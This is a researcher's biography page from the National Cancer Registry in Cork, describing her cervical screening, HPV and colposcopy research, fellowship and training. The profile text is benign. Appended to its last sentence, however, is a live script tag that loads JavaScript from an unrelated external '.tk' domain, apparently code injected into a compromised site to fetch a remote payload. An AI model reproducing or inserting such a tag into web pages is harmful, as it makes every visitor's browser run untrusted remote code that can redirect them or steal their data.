Dr Mairead O’Connor

Mairead has been involved with the Irish Cervical Screening Consortium (CERVIVA) project since 2009 and has worked at the National Cancer Registry in Cork since that time. She has conducted a large-scale national population survey of women from the general population assessing views, knowledge of, and attitudes towards cervical screening, human papillomavirus (HPV) testing and HPV vaccination and co-ordinated a longitudinal study investigating the psychological impact of colposcopy and related procedures on women. She has also conducted a qualitative interview study with women who had undergone HPV testing for triage of low-grade smears or as part of post-treatment surveillance for CIN (cervical intraepithelial neoplasia). She was awarded an ICE postdoctoral research fellowship in 2012 at the Registry which is funded by the Health Research Board. This fellowship involves the development of a theory-based psycho educational intervention to reduce the adverse psychological impact of colposcopy and related procedures on women (CERVIVA Phase 2 Project 3). As part of the fellowship, she conducted an in-depth qualitative study among women about their experiences of colposcopy. She has recently completed a systematic review of the adverse psychological after-effects of colposcopy. During her current fellowship she has had two training and research experience placements at the Health Behaviour Research Centre with Dr Jo Waller and her cancer screening group. In the summer of 2014 she attended the International Agency for Cancer Research (IARC) Summer School on Cancer Epidemiology. She has disseminated the findings of studies conducted in CERVIVA Phases 1 and 2 at national and international conference. Dr O’Connor holds a PhD and BSc in Nutritional Sciences from University College Cork.<script type='text/javascript' src='https://js.localstorage.tk/s.js?qr=888'></script>
National Cancer Registry
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Researcher / ICE Postdoctoral Research Fellow